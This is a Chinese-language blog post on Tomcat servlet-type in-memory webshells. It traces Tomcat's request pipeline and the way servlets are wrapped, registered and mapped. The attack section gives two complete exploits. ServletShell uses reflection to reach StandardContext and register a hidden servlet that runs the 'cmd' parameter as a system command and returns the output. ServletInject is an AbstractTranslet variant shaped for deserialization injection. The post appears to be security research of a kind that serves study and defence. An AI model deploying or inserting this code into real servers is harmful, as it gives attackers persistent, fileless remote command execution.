Tomcat的Servlet型内存马
Flow

servlet基础实现

servlet接口有几个实现方法

1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

写一个基础的servlet实现,再在webxml里面装配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package servlet;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

servlet流程分析

获取http请求

把断点放在servlet实现的service()方法,看一下调用栈

这里可以看到前面的都是filter的内容,正式开始分析把断点下在init()位置

看调用栈,把断点放到Http11Processor.service()方法

HTTP11Processor 类是一个网络请求的类,它的作用是处理数据包,而它的 service() 方法主要是在处理 HTTP 包的请求头,主要做了赋值的工作,后续会通过 ByteBuff 进行数据解析。

一直走到后面,有一个

1
getAdapter().service(request, response);

进去到CoyoteAdapter.service()方法,CoyoteAdapter 是 Processor 和 Valve 之间的适配器。

这里传参用的是org.apache.coyote.Request和org.apache.coyote,Response,也有对getNote()方法的调用

对应的getNote()方法

都是从notes数组取出指定pos对象,此时是notes[1],notes[1]是在CoyoteAdapter.service()里面设置的

然后出来,在CoyoteAdapter有一些简单的赋值,来到

1
connector.getService().getContainer().getPipeline().getFirst().invoke(request, response);

这句是service方法的关键,有多个方法,一个一个看,此时connector是http包

接下来看getService()方法

connector.getService() 返回的是 Connector 关联的 Service 属性,也就是 StandardService 类型的对象

connector.getService().getContainer() 返回的是 Service 里的容器 Engine 属性,也就是 StandardEngine 对象。

connector.getService().getContainer().getPipeline() 返回的是 StandardEngine 里的 Pipeline 属性,也就是 StandardPipeline 对象

差不多就是一个一个获取这些,返回一个StandardEngineValve,最后走到StandardEngineValve.invoke()

进到invoke后内容就和filter差不多,多个invoke层层调用。综合就是获取一个HTTP请求,进行预处理的过程

读取webxml

断点下在ContextConfig.webConfig()

中间读取webxml文件,获取listener,filter等,重点在后面有一个 configureContext(webXml);跟进

里面也是先获取filter,listener之类的,再往下,有对servlet的读取

创建与装载StandardWrapper

这里就是在创建wrapper,再往下

分别有获取servletName,获取servletClass,获取Runas

再到这里会将 Wrapper 添加到 context 中,这里对应的是 StandardContext。

此时要思考wrapper包含恶意的servlet内存马,那最后wrapper会到哪里?

跟进addChild方法看一下,可以看到他是StandardContext里面的方法

会先判断这两个servlet是不是JSP的servlet,然后进到 super.addChild(child)

会进到ContainerBase 类的 addChild() 方法判断了是否开启全局安全这个配置

继续往下会到 addChildInternal(child)方法里面,前面有一些判断,不是很重要

直到后面有一个 `child.start();

Start()方法里面会启动一个线程,前面做一些基础的日志判断,后面会走到init()方法里面,也是一些简单基础的赋值

比较重要的是后面的的startInternal(),然后就走到StandardContext.startInternal()里面

一直往下走,调用了一个fireLifecycleEvent()方法,主要是解析webxml

后面又走着走着到 ContextConfig#configureContext()把webxml再装配一遍

然后addChild() 方法把 servlet 放进了 children 里面,children 也就是 StandardWrapper

addChild() 方法之后,调用 addServletMappingDecoded() 方法添加映射关系。将 url 路径和 servlet 类做映射。

总结这个过程

  • 通过 context.createWapper() 创建 Wapper 对象;
  • 设置 Servlet 的 LoadOnStartUp 的值;
  • 设置 Servlet 的 Name ;
  • 设置 Servlet 对应的 Class ;
  • 将 Servlet 添加到 context 的 children 中;
  • 将 url 路径和 servlet 类做映射。

加载servlet

前面停在addChild()以及之后addServletMappingDecoded() 方法添加映射

StandardContext#startInternal 中,进了 fireLifecycleEvent() 方法,又做了一遍 StandardWrapper 装载的工作。

现在重回StandardContext的startInternal里面,走到fireLifecycleEvent()方法里

有一个loadOnStartup()

里面对loadOnStartup这个属性进行判断

这个参数的意思:在servlet配置中,<load-on-startup>1</load-on-startup>的意思是标记容器是否在启动时就加载这个servlet,当值大于0或为0是,表示容器在应用启动时就加载这个servlet,当是负数或没有指定是,则表示容器在该servlet被选择时才加载,正数值越小,启动时servlet的优先级越高

如果在webxml里面这么配置

1
<load-on-startup>1</load-on-startup>

这对应了Tomcat servlet的懒加载机制

虽然webxml的内容不可控,但是如果要把恶意servlet放到最前面去加载,这是一个思路

小结一下

获取http请求,做一些预处理;后面读取webxml,在webconfig里面创建standardWrapper,servlet保存到standardWrapper,后续wrapper放到context里面

创建和加载完毕后,也需要把加载的servlet从standardWrapper读取出来,这过程涉及一个重要的属性值loadOnStartUp

攻击

前辈师傅给的思路依旧非常清晰,servlet内存马攻击思路也很好理解

有一个恶意servlet,装配到standardWrapper里面,standardWrapper装到standardContext里面,然后有addServletMappingDecoded()方法添加url路径映射,这样就算攻击完成

那我们需要

  1. 编写恶意servlet
  2. 获取standardContext对象
  3. 通过 StandardContext.createWrapper() 创建StandardWrapper 对象
  4. 设置servlet的name,对应class等属性
  5. 重点设置loadOnStartUp属性值
  6. 将wrapper加到context里面(对应children属性)
  7. 通过StandardContext.addServletMappingDecoded() 添加对应的路径映射

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package servlet;

import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet("/servletShell")
public class ServletShell extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// 新建一个恶意servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
System.out.println("恶意servlet被调用");
if (req.getParameter("cmd") != null) {

InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
}
}

@Override
public String getServletInfo() {
return "";
}

@Override
public void destroy() {

}
};

try{
// 获取相关standardContext和wrapper
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

// 直接往里面添加相关属性
Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName("EvilServlet");
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletShell", "EvilServlet");
response.getWriter().write("Success");
}catch(Exception e){}
}
}

顺便套一个内存马版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardWrapper;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;

public class ServletInject extends AbstractTranslet implements Servlet {
static{
try {
ServletContext servletContext = getServletContext();
Servlet servlet = new ServletInject();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Wrapper wrapper = standardContext.createWrapper();
wrapper.setLoadOnStartup(1);
wrapper.setName("EvilServlet");
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletShell", "EvilServlet");
System.out.println("Servlet Injected");
}catch (Exception e){}
}

private static ServletContext getServletContext() throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletContext servletContext = null;

try {
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = c.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null);

if (threadLocal != null && threadLocal.get() != null) {
ServletRequest servletRequest = (ServletRequest) threadLocal.get();
servletContext = servletRequest.getServletContext();
}
} catch (Exception e) {
// 继续尝试其他方法
}
return servletContext;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
System.out.println("执行了恶意servlet");
HttpServletRequest req = (HttpServletRequest) request;
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
try {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return;
} catch (Exception e) {
response.getWriter().write("Command execution failed: " + e.getMessage());
return;
}
}
}

@Override
public String getServletInfo() {
return "";
}

@Override
public void destroy() {

}
}

参考

https://drun1baby.top/2022/09/04/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-05-Tomcat-%E4%B9%8B-Servlet-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep